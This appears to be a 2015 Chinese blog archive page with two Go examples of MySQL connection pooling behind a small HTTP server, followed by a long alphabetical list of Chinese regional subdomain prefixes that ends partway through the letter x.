月度归档:2015年03月

自己实现的一个golang 连接池

package main
import (
"database/sql"
"fmt"
_ "github.com/ziutek/mymysql/godrv"
	_ "github.com/go-sql-driver/mysql"
	"log"
	"net/http"

)

var MAX_POOL_SIZE=200
var MySQLPool chan *sql.DB
func getMySQL() *sql.DB {  
    
    if MySQLPool == nil {  
        MySQLPool = make(chan *sql.DB, MAX_POOL_SIZE)  
    }  
    if len(MySQLPool) == 0 {  
        go func() {  
            for i := 0; i < MAX_POOL_SIZE/2; i++ {  
mysqlc, err := sql.Open("mymysql", "tcp:127.0.0.1:3306*dz32/root/123456")
//mysqlc, err := sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/dz32?charset=utf8")
                if err != nil {  
                    panic(err)  
                }    
                putMySQL(mysqlc)  
            }    
        }()  
    }    
    return <-MySQLPool  
}  
 
func putMySQL(conn *sql.DB) {  
    if MySQLPool == nil {  
        MySQLPool = make(chan *sql.DB, MAX_POOL_SIZE)  
    }
    
    if len(MySQLPool) == MAX_POOL_SIZE {  
        conn.Close()  
        return  
    }  
    MySQLPool <- conn  
}


func main() {
	startHttpServer()
}

func startHttpServer() {
	http.HandleFunc("/pool", pool)
	err := http.ListenAndServe(":9090", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	fmt.Println(123)
	}
}


func pool(w http.ResponseWriter, r *http.Request) {
dbx :=getMySQL()
//rows,_ := dbx.Query("select * from user")
id := 1
var query = "SELECT id from users WHERE id = ?"
rows, err := dbx.Query(query, id)
if err != nil {
log.Fatal(err)
}
var email string
for rows.Next() {
if err := rows.Scan(&email); err != nil {
log.Fatal(err)
}
fmt.Printf("Email address: %s\n", email)
}
if err := rows.Err(); err != nil {
log.Fatal(err)
}
defer putMySQL(dbx)


}



golany mysql自带连接池

package main

import (
	"database/sql"
	"fmt"
	_ "github.com/go-sql-driver/mysql"
	"log"
	"net/http"
)

var db *sql.DB

func init() {
	db, _ = sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/dz32?charset=utf8")
	db.SetMaxOpenConns(150)
	db.SetMaxIdleConns(100)
	db.Ping()
}

func main() {
	startHttpServer()
}

func startHttpServer() {
	http.HandleFunc("/pool", pool)
	err := http.ListenAndServe(":9090", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}

func pool(w http.ResponseWriter, r *http.Request) {

err3:=db.Ping()
   if err3 != nil {
fmt.Println(2222222)
   }
	rows, err := db.Query("SELECT id FROM users where id=1")
	defer rows.Close()
	checkErr(err)

for rows.Next() {
    var userId int
    rows.Columns()
    err = rows.Scan(&userId)
    checkErr(err)
    fmt.Println(userId)
}
}

func checkErr(err error) {
	if err != nil {
		fmt.Println(err)
		panic(err)
	}
}

China Area Subdomain Prefix

a
aax
ab
aba
abaga
abg
ac
acheng
ad
aershan
aes
af
ag
ah
aheqi
ahq
aihui
aimin
aj
ak
akesai
akesu
aketao
aks
akt
al
alaer
alashan
alashankou
alashanyou
alashanzuo
ale
aletai
ali
alishan
alkeq
als
alsk
alsy
alsz
alt
alukeerqin
am
an
anci
anda
anding
anduo
anfu
angangxi
angren
anguo
anhua
anhui
anji
anju
ankang
anle
anlong
anlu
annan
anning
anping
anqing
anqiu
anren
ansai
anshan
anshun
antu
anxi
anxian
anxiang
anxin
anyang
anyi
anyuan
anyue
anze
aohan
aomen
ap
aq
ar
arong
as
at
ats
atushen
awati
awt
ax
ay
az
b
ba
babu
bachu
bade
badong
bagongshan
baicheng
baihe
baijiantan
bailang
baiquan
baise
baisha
baishan
baishui
baita
baiyin
baiyu
baiyun
bali
balikun
balinyou
balinzuo
bama
banan
bangbu
bange
bangshan
banma
banqiao
baoan
baochi
baode
baoding
baofeng
baohe
baoji
baojing
baokang
baoqing
baoshan
baota
baoting
baotou
baoxing
baoying
baozhong
baqiao
baqing
basu
batang
bayan
bayannaoer
bayinguoleng
bayuquan
bazhong
bazhou
bb
bc
bd
bdh
beian
beibei
beichen
beichuan
beidaihe
beidou
beigang
beiguan
beihai
beihu
beijing
beilin
beiliu
beilun
beinan
beipiao
beipu
beiqu
beishi
beita
beitang
beitou
beitun
beizhen
bej
benxi
betl
bf
bg
bgs
bh
bhxq
bianba
bijiang
bijie
bincheng
binchuan
binhai
binhaixinqu
binhu
binjiang
binxian
binyang
binzhou
biru
bishan
bj
bjt
bk
bl
blk
bly
blz
bm
bn
boai
bobai
boertala
bohu
bole
boli
boluo
bomi
boshan
botou
bowang
boxiang
boxing
boye
bozhou
bp
bq
br
bs
bt
budai
buerjin
butuo
bw
bx
by
bygl
byne
byq
bz
c
ca
caidian
cangnan
cangshan
cangwu
cangxi
cangxian
cangyuan
cangzhou
caotun
caoxian
cb
cbcexb
cbeh
cc
cd
ceheng
cele
cengdou
cengong
cenxi
cf
cg
ch
chabuchaerxibo
chahaeryouyihou
chahaeryouyiqian
chahaeryouyizhong
chaling
changde
changdou
changji
changjiang
changle
changli
changning
changping
changshan
changshu
changtu
changyi
changzhou
chanhe
chaoan
chaohu
chaonan
chaotian
chaoyang
chaozhou
chaya
chayu
checheng
chenbaerhu
chencang
chengan
chengbei
chengbu
chengcheng
chengde
chengdong
chengdou
chenggong
chenggu
chengguan
chenghai
chenghua
chengjiang
chengkou
chengmai
chengqu
chengwu
chengxi
chengxian
chengxiang
chengyang
chengzhong
chengzihe
chenxi
chenzhou
cheyyh
cheyyq
cheyyz
chibi
chicheng
chifeng
chikan
chiping
chishang
chishui
chizhou
chongan
chongchuan
chongli
chongming
chongren
chongwen
chongxin
chongyang
chongyi
chongzhou
chongzuo
chuanhui
chuanshan
chuanying
chunan
chunhua
chunri
chuxiong
chuzhou
cili
citong
cixi
cixian
cj
ck
cl
cm
cn
conghua
congjiang
congtai
cp
cq
cr
cs
ct
cuiluan
cuiping
cuomei
cuonei
cuoqin
cw
cx
cy
cz
czh
d
da
daan
dabancheng
dachaidan
dachang
dacheng
dachuan
dacun
dadong
dadu
dadukou
daerhanmaomingan
dafang
dafeng
daguan
dahu
dahua
dailing
daishan
daixian
daiyue
dajia
dalate
dali
dalian
dalin
daming
danba
dancheng
dandong
danfeng
dangchang
dangshan
dangtu
dangxiong
dangyang
daning
danjiangkou
danleng
danshui
dantu
danxian
danyang
danzhai
danzhou
daocheng
daofu
daoli
daowai
daoxian
daozhen
dapi
dapu
daqing
daren
dari
dashiqiao
datangqu
datian
datong
dawa
dawu
dawukou
daxi
daxiang
daxin
daxing
daxinganling
daya
dayao
daye
dayi
daying
dayu
dayuan
dazhou
dazhu
dazi
dazu
db
dbc
dbs
dc
dcd
dcf
dd
ddk
dean
debao
debt
dechang
decheng
dege
dehmma
dehong
dehua
dehui
dejiang
delingha
dengfeng
dengkou
dengta
dengzhou
deqin
deqing
derong
dexing
deyang
dezhou
df
dg
dh
dianbai
dianjiang
dianjun
diaobingshan
didao
diebu
diecai
dingan
dingbian
dingcheng
dinghai
dinghu
dingjie
dingnan
dingqing
dingri
dingtao
dingxi
dingxiang
dingxing
dingyuan
dingzhou
diqing
dj
djk
djy
dk
dl
dldq
dlh
dlt
dm
dn
donga
dongan
dongbao
dongchang
dongchangfu
dongcheng
dongchuan
dongfang
dongfeng
donggang
dongguan
dongguang
donghai
donghe
donghu
dongkou
donglan
dongli
dongliao
dongming
dongning
dongping
dongpo
dongqu
dongshan
dongsheng
dongshi
dongtai
dongtou
dongwuzhumuqin
dongxiang
dongxiangzu
dongxihu
dongxing
dongyang
dongying
dongyuan
dongzhi
dongzhou
douan
douchang
doujiangyan
doulan
douliu
doumen
dounan
douyun
dp
dq
dr
ds
dsq
dsz
dt
dtq
duanzhou
duerbote
duilongdeqing
duji
dunhua
dunhuang
duodao
duolun
dushan
dushanzi
dw
dwk
dwzmq
dx
dxal
dxh
dxz
dy
dz
e
eb
ebian
ec
echeng
ed
edj
eeds
eegn
eerduosi
eerguna
ejina
ejn
el
elc
elht
elunchun
em
emei
emeishan
emin
ems
enping
enshi
ep
eq
erdao
erdaojiang
erlianhaote
erlin
erlun
erqi
ershui
eryuan
es
eshan
etk
etkq
etuoke
etuokeqian
ewenkezu
ewkz
ey
ez
ezhou
f
fa
faku
fanchang
fancheng
fangcheng
fangchenggang
fangliao
fangshan
fangxian
fangyuan
fangzheng
fangzi
fanlu
fanxian
fanyu
fanzhi
fb
fc
fcg
fd
feicheng
feidong
feixi
feixian
feixiang
fengbin
fengcheng
fengdou
fengfengkuang
fenggang
fenghua
fenghuang
fengjie
fengkai
fenglin
fengman
fengnan
fengning
fengqing
fengqiu
fengquan
fengrun
fengshan
fengshun
fengtai
fengxian
fengxiang
fengxin
fengyang
fengyuan
fengze
fengzhen
fenxi
fenyang
fenyi
fenyuan
ff
ffk
fg
fh
fj
fk
fl
flej
fm
fn
fogang
foping
foshan
fp
fq
fr
fs
ft
fuan
fucheng
fuchuan
fuding
fufeng
fugong
fugou
fugu
fuhai
fujian
fujin
fukang
fulaerji
fuli
fuliang
fuling
fumian
fumin
funan
funing
fuping
fuqing
fuquan
furong
fushan
fushun
fusong
fusui
futian
fuxian
fuxin
fuxing
fuyang
fuyu
fuyuan
fuyun
fuzhou
fx
fy
fz
g
ga
gaer
gaize
gaizhou
gande
gangba
gangbei
gangcha
gangcheng
gangkou
gangnan
gangu
gangzha
ganjingzi
ganluo
gannan
ganquan
gansu
ganxian
ganyu
ganzhou
ganzi
gaoan
gaobeidian
gaocheng
gaochun
gaogang
gaolan
gaoling
gaomi
gaoming
gaoping
gaoqing
gaoshu
gaotai
gaotang
gaoxian
gaoxiong
gaoyang
gaoyao
gaoyi
gaoyou
gaozhou
gb
gbd
gbjd
gc
gd
ge
geermu
geji
gejiu
gem
gengma
genhe
gf
gg
gh
gj
gjz
gk
gl
gm
gn
gongan
gongbujiangda
gongcheng
gongga
gongguan
gonghe
gongjing
gongjue
gongliao
gongliu
gongnong
gongqingcheng
gongshan
gongshu
gongxian
gongyi
gongzhangling
gongzhuling
gp
gq
gqc
gr
gs
gsh
gt
guan
guancheng
guandu
guangan
guangchang
guangde
guangdong
guangfeng
guangfu
guanghan
guanghe
guangling
guangnan
guangning
guangping
guangrao
guangshan
guangshui
guangxi
guangyang
guangyuan
guangze
guangzhou
guangzong
guanling
guannan
guanshan
guanshanhu
guantang
guantao
guanxi
guanxian
guanyang
guanyin
guanyun
guazhou
gucheng
guichi
guide
guiding
guidong
guigang
guilin
guinan
guiping
guishan
guixi
guiyang
guizhou
gujiao
gukeng
gulang
gulin
gulou
guoluo
guoting
guoxing
gushan
gushi
gusu
guta
gutian
guxian
guyang
guye
guyuan
guzhang
guzhen
gx
gy
gz
gzl
h
ha
habahe
haerbin
haian
haibei
haibowan
haicang
haicheng
haidian
haidong
haiduan
haifeng
haigang
haikou
hailaer
hailin
hailing
hailun
haimen
hainan
haining
haishu
haitang
haiwai
haixi
haixing
haiyan
haiyang
haiyuan
haizhou
haizhu
hami
hanbin
hancheng
hanchuan
handan
hangjin
hangjinhou
hangzhou
hanjiang
hannan
hanshan
hanshou
hantai
hanting
hanyang
hanyin
hanyuan
hanzhong
haojiang
hb
hbh
hbkse
hbw
hc
hd
hdm
hdx
heb
hebei
hebi
hebukesaier
hecheng
hechi
hechuan
hedong
hefei
hefeng
hegang
hegs
heihe
heilongjiang
heishan
heishui
hejian
hejiang
hejin
hejing
hekou
helan
helingeer
helong
hemei
henan
hengchun
hengdong
hengfeng
hengnan
hengshan
hengshui
hengxian
hengyang
heping
hepu
heqing
hequ
heshan
heshui
heshun
heshuo
hetang
hetian
hexi
hexian
heyang
heyuan
heze
hezhang
hezheng
hezhou
hezuo
hf
hg
hh
hhg
hhht
hj
hjh
hk
hl
hlbe
hld
hle
hlge
hlgl
hlj
hm
hn
hongan
hongdong
honggang
honggu
honghe
honghu
honghuagang
hongjiang
hongkou
hongqi
hongqiao
hongshan
hongsibao
hongta
hongwei
hongxing
hongya
hongyuan
hongze
houli
houlong
houma
hp
hq
hr
hs
hsb
hsg
ht
htb
huaan
huachi
huachuan
huade
huadian
huadima
huadou
huaian
huaibei
huaibin
huaihua
huaiji
huailai
huainan
huaining
huairen
huairou
huaishang
huaiyang
huaiyin
huaiyuan
hualian
hualong
huanan
huancui
huangchuan
huangdao
huangdaxian
huanggang
huanggu
huanghua
huangling
huanglong
huangmei
huangnan
huangping
huangpo
huangpu
huangshan
huangshi
huangshigang
huangyan
huangyuan
huangzhong
huangzhou
huaning
huanjiang
huanren
huantai
huanxian
huaping
huarong
huashan
huatan
huating
huaxi
huaxian
huayin
huaying
huayuan
huazhou
hubei
hubin
huguan
huhehaote
huian
huichang
huicheng
huichuan
huidong
huiji
huilai
huili
huimin
huinan
huining
huinong
huishan
huishui
huitong
huixian
huiyang
huize
huizhou
hukou
hulan
huli
hulin
huludao
hulunbeier
huma
hunan
hunchun
hunjiang
hunnan
hunyuan
huocheng
huoerguosi
huojia
huolinguole
huoqiu
huoshan
huozhou
huqiu
hutubi
huwei
huxi
huxian
huzhong
huzhou
huzhu
hw
hx
hy
hz
j
ja
jb
jc
jcj
jcp
jd
jdz
jf
jg
jgdq
jgs
jh
jiacha
jiading
jiadong
jiagedaqi
jiahe
jiajiang
jiali
jialing
jiamo
jiamusi
jian
jiancaoping
jianchang
jianchuan
jiande
jiangan
jiangbei
jiangcheng
jiangchuan
jiangda
jiangdong
jiangdou
jiange
jianggan
jianghai
jianghan
jianghua
jiangjin
jiangkou
jiangle
jiangling
jiangmen
jiangnan
jiangning
jiangshan
jiangsu
jiangxi
jiangxia
jiangxian
jiangyan
jiangyang
jiangyin
jiangyong
jiangyou
jiangyuan
jiangzhou
jiangzi
jianhe
jianhu
jianhua
jianli
jianning
jianou
jianping
jianshan
jianshi
jianshui
jianwei
jianxi
jianyang
jianye
jianzha
jiaocheng
jiaohe
jiaojiang
jiaokou
jiaoling
jiaoqu
jiaoxi
jiaozhou
jiaozuo
jiashan
jiashi
jiawang
jiaxian
jiaxiang
jiaxing
jiayi
jiayin
jiayu
jiayuguan
jidong
jiedong
jiefang
jieshou
jiexi
jiexiu
jieyang
jiguan
jiji
jili
jilin
jilong
jimei
jimo
jimunai
jimusaer
jinan
jinchang
jincheng
jinchengjiang
jinchuan
jindong
jinfeng
jingan
jingbian
jingchuan
jingde
jingdezhen
jingdong
jinggangshan
jinggu
jinghai
jinghe
jinghong
jinghu
jingjiang
jingkou
jingle
jingmen
jingning
jingshan
jingtai
jingtie
jingxi
jingxian
jingxing
jingxingkuang
jingyan
jingyang
jingyu
jingyuan
jingzhou
jinhu
jinhua
jining
jinjiang
jinkouhe
jinmen
jinnan
jinning
jinniu
jinping
jinsha
jinshan
jinshantun
jinshi
jinshui
jinta
jintai
jintan
jintang
jinwan
jinxi
jinxian
jinxiang
jinxiu
jinyang
jinyuan
jinyun
jinzhai
jinzhong
jinzhou
jishan
jishishan
jishou
jishui
jiujiang
jiulong
jiulongcheng
jiulongpo
jiuquan
jiuru
jiutai
jiuyuan
jiuzhaigou
jiuzhi
jixi
jixian
jiyang
jiyuan
jize
jizhou
jj
jk
jkh
jl
jlc
jlp
jm
jmn
jms
jmse
jn
jo
jp
jq
jr
js
jss
jst
jt
juancheng
julu
junan
junshan
junxian
jurong
juxian
juye
jw
jx
jxk
jy
jyg
jz
jzg
k
kaifeng
kaifu
kaihua
kaijiang
kaili
kailu
kaiping
kaixian
kaiyang
kaiyuan
kalaqin
kalaqinzuoyi
kanding
kangbao
kangding
kangle
kangma
kangping
kangxian
karuo
kashen
kashi
kb
kc
kd
kdl
kecheng
kedong
keerqin
keerqinyouyiqian
keerqinyouyizhong
keerqinzuoyihou
keerqinzuoyizhong
kel
kelamayi
kelan
kenli
keping
keq
keqiao
keqyyq
keqyyz
keqzyh
keqzyz
keshan
keshenketeng
kezilesu
kf
kh
kj
kl
klmy
klq
klqzy
km
kongtong
kouhu
kp
kq
kr
ks
kskt
kt
kuancheng
kuandian
kuangqu
kuche
kuerle
kuiqing
kuitun
kuiwen
kulun
kundoulun
kunming
kunshan
kw
kx
ky
kzls
l
la
laian
laibin
laicheng
laifeng
laishan
laishui
laiwu
laixi
laiyang
laiyi
laiyuan
laizhou
lancang
langao
langfang
langkazi
langxi
langxian
langya
langzhong
lankao
lanling
lanping
lanshan
lantian
lanxi
lanxian
lanyu
lanzhou
laobian
laocheng
laohekou
laoshan
lasa
lazi
lb
lc
ld
ldc
lean
lechang
ledong
ledou
leibo
leishan
leiwuqi
leiyang
leizhou
leling
lenghu
lengshuijiang
lengshuitan
leping
leqing
leshan
leting
leye
lezhi
lf
lg
lh
lhk
liancheng
liandou
liangcheng
liangdang
lianghe
liangping
liangqing
liangshan
liangyuan
liangzhou
liangzihu
lianhu
lianhua
lianjiang
liannan
lianping
lianshan
lianshui
lianyuan
lianyun
lianyungang
lianzhou
liaocheng
liaoning
liaoyang
liaoyuan
liaozhong
libo
licang
licheng
lichuan
lidao
lieshan
ligang
lijiang
lijin
liling
linan
linbian
lincang
lincheng
linchuan
lindian
linfen
lingao
lingbao
lingbi
lingcheng
lingchuan
lingdong
linghai
linghe
lingling
lingqiu
lingshan
lingshi
lingshou
lingshui
lingtai
lingui
lingwu
lingya
lingyuan
lingyun
linhai
linhe
linjiang
linkou
linli
linluo
linnei
linqing
linqu
linquan
linshu
linshui
lintan
lintao
lintong
linwei
linwu
linxi
linxia
linxian
linxiang
linyi
linying
linyou
linze
linzhang
linzhi
linzhou
linzi
liping
lipu
liquan
lishan
lishi
lishu
lishui
litang
litong
liuan
liuba
liubei
liucheng
liuhe
liujiang
liujiao
liulin
liunan
liupanshui
liuqiu
liuqu
liuyang
liuzhite
liuzhou
liwan
lixia
lixian
lixin
liyang
lizhou
lj
lk
lkz
ll
lm
lmt
ln
longan
longchang
longcheng
longchuan
longde
longfeng
longgang
longhai
longhu
longhua
longhui
longjiang
longjing
longkou
longli
longlin
longling
longmatan
longmen
longnan
longquan
longquanyi
longsha
longshan
longsheng
longtan
longting
longwan
longwei
longwen
longxi
longxian
longyan
longyang
longyao
longyou
longzhou
longzi
longzihu
loudi
loufan
louxing
lp
lps
lq
lqy
ls
lsj
lsk
lst
lt
luancheng
luanchuan
luannan
luanping
luanxian
lubei
lucao
lucheng
luchuan
lu:chun
ludangcheng
lu:dao
ludian
luding
lu:eyang
lufeng
lugang
lugu
luhe
luhuo
lujiang
luliang
lu:liang
lulong
lunan
lunbei
luntai
luobei
luocheng
luochuan
luodian
luoding
luodong
luohe
luohu
luojiang
luolong
luonan
luoning
luoping
luopu
luoshan
luotian
luoyang
luoyuan
luozha
luozhuang
luqiao
luquan
lushan
lushi
lushui
lu:shunkou
lusong
luxi
luxian
luyang
luye
luyi
lu:yuan
luzhai
luzhou
luzhu
lw
lwq
lx
ly
lyg
lz
lzh
lzt
m
maanshan
mabian
macheng
macun
maduo
maerkang
magong
maguan
maigaiti
maiji
mailiao
majia
majiang
malipo
malong
manasi
mancheng
mangkang
mangshi
mangya
manzhou
manzhouli
maojian
maoming
maonan
maoxian
maqin
maqu
mas
mashan
mawei
mayang
mazhang
mb
mc
md
mdj
meigu
meihekou
meijiang
meilan
meilie
meilisi
meishan
meitan
meixi
meixian
meizhou
mek
mengcheng
mengcun
menghai
mengjin
mengla
menglian
mengshan
mengyin
mengzhou
mengzi
mentougou
menyuan
mf
mg
mgt
mh
mhk
mianchi
mianning
mianxian
mianyang
mianzhu
miaoli
midong
midu
mile
milin
miluo
minfeng
mingguang
mingjian
mingshan
mingshui
mingxi
minhe
minhou
minle
minqin
minqing
minquan
minxian
minxing
minxiong
mishan
miyang
miyi
miyun
mizhi
mj
mk
ml
mldw
mlp
mls
mm
mn
mns
mohe
mojiang
molidawa
motuo
mouding
mouping
moyu
mozhugongka
mp
mq
ms
mt
mtg
muchuan
mudan
mudanjiang
mulan
mulei
muleng
muli
muye
mw
mx
my
mz
mzgk
mzl
n
na
naidong
naiman
nanan
nanao
nanbu
nancha
nanchang
nancheng
nanchong
nanchuan
nandan
nanfen
nanfeng
nangang
nangong
nangqian
nanguan
nanhai
nanhe
nanhu
nanhua
nanjian
nanjiang
nanjiao
nanjing
nankai
nankang
nanle
nanling
nanming
nanmulin
nanning
nanpi
nanpiao
nanping
nanqiao
nanqu
nansha
nanshan
nanshi
nantong
nantou
nantun
nanxi
nanxian
nanxiong
nanxun
nanyang
nanyue
nanzhang
nanzhao
nanzheng
nanzhou
nanzhuang
nanzi
naxi
nayong
nb
nc
nd
ne
nehe
neihu
neihuang
neijiang
neimenggu
neipo
neipu
neiqiu
neiqu
neixiang
nenjiang
nf
ng
nh
nianzishan
nielamu
nierong
nileke
nima
nimu
ningan
ningbo
ningcheng
ningde
ningdou
ninger
ningguo
ninghai
ninghe
ninghua
ningjiang
ningjin
ninglang
ningling
ningming
ningnan
ningqiang
ningshan
ningwu
ningxia
ningxian
ningxiang
ningyang
ningyuan
nj
nk
nl
nlk
nlm
nm
nmg
nml
nn
nongan
np
nq
nr
ns
nt
nuannuan
nujiang
nw
nx
ny
nz
nzs
o
oh
ouhai
p
pa
panan
panji
panjin
panlong
panshan
panshi
panxian
panzhihua
pb
pc
pd
pds
pdxq
pe
peixian
pengan
penghu
pengjiang
penglai
pengshan
pengshui
pengxi
pengyang
pengze
pengzhou
pf
pg
ph
pianguan
pingan
pingba
pingbian
pingchang
pingchuan
pingding
pingdingshan
pingdong
pingdu
pingfang
pinggu
pingguo
pinghe
pinghu
pingjiang
pingle
pingli
pingliang
pinglin
pinglu
pingluo
pingnan
pingqiao
pingquan
pingshan
pingshun
pingtan
pingtang
pingwu
pingxi
pingxiang
pingyang
pingyao
pingyi
pingyin
pingyu
pingyuan
pingzhen
pishan
pitou
pixian
pizhou
pj
pk
pl
pld
pn
potou
poyang
pozi
pq
ps
pt
puan
pubei
pucheng
puding
pudongxinqu
puer
puge
pujiang
pukou
pulan
pulandian
puning
putian
putuo
puxian
puxin
puyan
puyang
pw
px
py
pz
pzh
q
qa
qb
qbj
qc
qd
qdn
qf
qg
qgels
qh
qhd
qhm
qianan
qiandongnan
qianfeng
qianguoerluosi
qianjiang
qianjin
qiannan
qianshan
qianxi
qianxian
qianxinan
qianyang
qianzhen
qiaocheng
qiaodong
qiaojia
qiaokou
qiaoxi
qibin
qichun
qidong
qidu
qiemo
qiezihe
qihe
qijiang
qijin
qilian
qilihe
qilin
qimei
qimen
qinan
qinbei
qindou
qingan
qingbaijiang
qingcheng
qingchuan
qingdao
qingfeng
qinggang
qinghai
qinghe
qinghemen
qingjian
qingliu
qinglong
qingpu
qingshan
qingshanhu
qingshen
qingshui
qingshuihe
qingtian
qingtongxia
qingxian
qingxin
qingxiu
qingxu
qingyang
qingyuan
qingyun
qingyunpu
qingzhen
qingzhou
qinhuai
qinhuangdao
qinnan
qinshui
qinxian
qinyang
qinyuan
qinzhou
qionghai
qiongjie
qionglai
qiongshan
qiongzhong
qiqihaer
qishan
qishuyan
qitai
qitaihe
qiubei
qiuxian
qixia
qixian
qixing
qixingguan
qiyang
qj
qk
ql
qlh
qm
qml
qn
qp
qqhe
qs
qsh
qsy
qt
qth
qtx
quangang
quanjiao
quannan
quanshan
quanwan
quanzhou
queshan
qufu
qujiang
qujing
qumalai
qushui
qusong
quwo
quxian
quyang
quzhou
qw
qx
qxg
qxn
qy
qyp
qz
qzh
r
ra
ranghulu
rangtang
raohe
raoping
raoyang
rb
rc
rd
reg
renai
renbu
rencheng
renhe
renhua
renhuai
renqiu
renshou
renxian
rf
rg
rh
rhl
rikaze
ritu
rizhao
rj
rkz
rl
rn
rongan
rongchang
rongcheng
rongjiang
rongshui
rongxian
rp
rq
rs
rt
rucheng
rudong
rugao
ruian
ruichang
ruicheng
ruifang
ruijin
ruili
ruisui
runan
runzhou
ruoergai
ruoqiang
rushan
ruyang
ruyuan
ruzhou
rx
ry
rz
s
sa
sad
saertu
saga
saihan
sajia
sandimen
sandou
sangri
sangzhi
sangzhuzi
sanhe
sanjiang
sanmen
sanmenxia
sanmin
sanming
sansha
sanshan
sanshui
sansui
santai
sanwan
sanxia
sanxing
sanya
sanyi
sanyuan
sanzhi
sanzhong
sb
sbxq
sc
sd
sdm
seda
set
sf
sfh
sfjg
sft
sg
sgl
sh
shache
shahe
shahekou
shalu
shamen
shancheng
shandan
shandong
shangcai
shangcheng
shangdou
shangganling
shanggao
shanghai
shanghang
shanghe
shangjie
shangli
shanglin
shangluo
shangnan
shangqiu
shangrao
shangshui
shangsi
shangyi
shangyou
shangyu
shangzhi
shangzhou
shanhaiguan
shannan
shanshan
shanting
shantou
shanwei
shanxi
shanxian
shanyang
shanyin
shaodong
shaoguan
shaoshan
shaowu
shaoxing
shaoyang
shapingba
shapotou
shashi
shatian
shawan
shaxian
shaya
shayang
shayibake
shehong
shenbeixinqu
shenchi
shenfang
shenganduo
shengang
shengfangjige
shengsi
shengzhou
shenhe
shenkeng
shenmu
shennongjialinqu
shenqiu
shenshuibu
shenyang
shenze
shenzha
shenzhen
shenzhou
sheqi
shetou
shexian
sheyang
shg
shibei
shibing
shicheng
shidian
shiding
shifeng
shigang
shigu
shiguai
shihe
shihezi
shijiazhuang
shijingshan
shilin
shilong
shilou
shimen
shimian
shinan
shiping
shiqian
shiqu
shiquan
shishi
shishou
shitai
shitan
shixing
shiyan
shizhong
shizhu
shizi
shizishan
shizong
shizuishan
shk
shoufeng
shouguang
shouning
shouxian
shouyang
shuangbo
shuangcheng
shuangfeng
shuanghe
shuanghu
shuangjiang
shuangliao
shuangliu
shuangluan
shuangpai
shuangqiao
shuangqing
shuangta
shuangtaizi
shuangxi
shuangyang
shuangyashan
shucheng
shufu
shuicheng
shuifu
shuili
shuilin
shuimogou
shuishang
shulan
shule
shulin
shunchang
shuncheng
shunde
shunhe
shunping
shunqing
shunyi
shuocheng
shuozhou
shushan
shuyang
shz
sichuan
sifangtai
sihong
sihu
sihui
simao
siming
sinan
siping
sishui
sixian
siyang
siziwang
sj
sjs
sjt
sjz
sk
sl
sm
smg
smx
sn
snjlq
snty
sntz
songbei
songjiang
songling
songming
songpan
songshan
songtao
songxi
songxian
songyang
songyuan
songzi
sp
spb
spt
sq
sr
ss
ssb
st
stz
suao
subei
sucheng
suibin
suichang
suichuan
suide
suifenhe
suihua
suijiang
suileng
suining
suiping
suixi
suixian
suiyang
suizhong
suizhou
sujiatun
sunan
suning
suniteyou
sunitezuo
sunwu
suoxian
suqian
susong
suxian
suyu
suzhou
sw
sx
sy
sybk
sys
sz
szs
szw
szz
t
ta
tacheng
tahe
taian
taibai
taibao
taibei
taicang
taidong
taierzhuang
taigu
taihe
taihu
taijiang
taikang
tailai
taimali
tainan
taining
taiping
taipusi
taiqian
taishan
taishun
taiwan
taiwu
taixi
taixing
taiyuan
taizhong
taizhou
taizihe
tancheng
tanghai
tanghe
tangshan
tangwanghe
tangxian
tangyin
tangyuan
tantang
tanzi
taobei
taocheng
taojiang
taonan
taoshan
taoyuan
tashenkuergan
tb
tc
td
te
tekesi
tengchong
tengxian
tengzhou
tez
tf
tg
tgs
th
tiandeng
tiandong
tiane
tianhe
tianjiaan
tianjin
tianjun
tianlin
tianmen
tianning
tianqiao
tianquan
tianshan
tianshui
tiantai
tianwei
tianxin
tianya
tianyang
tianyuan
tianzhang
tianzhen
tianzhong
tianzhu
tiedong
tiefeng
tieli
tieling
tiemenguan
tieshan
tieshangang
tiexi
tinghu
tj
tja
tk
tks
tkt
tkx
tl
tlf
tm
tmg
tml
tmsk
tmty
tmtz
tn
tongan
tongbo
tongcheng
tongchuan
tongdao
tongde
tonggu
tongguan
tongguanshan
tonghai
tonghe
tonghua
tongjiang
tongliang
tongliao
tongling
tonglu
tongluo
tongnan
tongren
tongshan
tongwei
tongxiang
tongxiao
tongxin
tongxu
tongyu
tongzhou
tongzi
toucheng
toufen
toutunhe
touwu
tp
tps
tq
tr
ts
tsg
tskeg
tt
tth
tuanfeng
tucheng
tuku
tulufan
tumen
tumoteyou
tumotezuo
tumushuke
tunchang
tunliu
tunmen
tunxi
tuoketuo
tuokexun
tuoli
tuquan
tw
twh
tx
ty
tz
tzh
w
wa
wafangdian
waipu
wanan
wanbolin
wancheng
wandan
wangan
wangcang
wangcheng
wangde
wangdou
wanghua
wangjiang
wangkui
wangmo
wangqing
wangyi
wanhua
wanli
wanluan
wannian
wanning
wanquan
wanrong
wanshan
wanxiu
wanyuan
wanzai
wanzhou
wanzi
wb
wbl
wc
wd
wdlc
weh
weibin
weichang
weicheng
weidong
weidou
weifang
weihai
weihui
weili
weinan
weining
weishan
weishi
weixi
weixian
weixin
weiyang
weiyuan
wenan
wenchang
wencheng
wenchuan
wendeng
wenfeng
wengan
wengniute
wengyuan
wenjiang
wenling
wenquan
wenshan
wenshang
wensheng
wenshui
wensu
wenxi
wenxian
wenzhou
wf
wfd
wg
wh
wj
wjg
wjq
wk
wl
wlcb
wlht
wlmq
wlth
wltq
wltz
wly
wm
wmh
wn
wnt
wolong
woyang
wp
wq
wr
ws
wt
wtq
wuan
wubao
wuchang
wucheng
wuchuan
wuda
wudalianchi
wudang
wudi
wuding
wudou
wuerhe
wufeng
wugang
wugong
wugu
wuhai
wuhan
wuhe
wuhou
wuhu
wuhua
wuji
wujiagang
wujiang
wujiaqu
wujie
wujin
wulai
wulan
wulanchabu
wulanhaote
wulatehou
wulateqian
wulatezhong
wulian
wuling
wulingyuan
wulong
wulumuqi
wumahe
wuming
wuning
wuping
wuqi
wuqia
wuqiang
wuqiao
wuqing
wuri
wushan
wushen
wusheng
wusu
wutai
wutongqiao
wuwei
wuxi
wuxiang
wuxing
wuxuan
wuxue
wuyang
wuyi
wuyiling
wuying
wuyishan
wuyuan
wuzhai
wuzhi
wuzhishan
wuzhong
wuzhou
ww
wx
wy
wyl
wys
wz
wzs
x
xa
xb
xbehy
xbehz
xc
xd
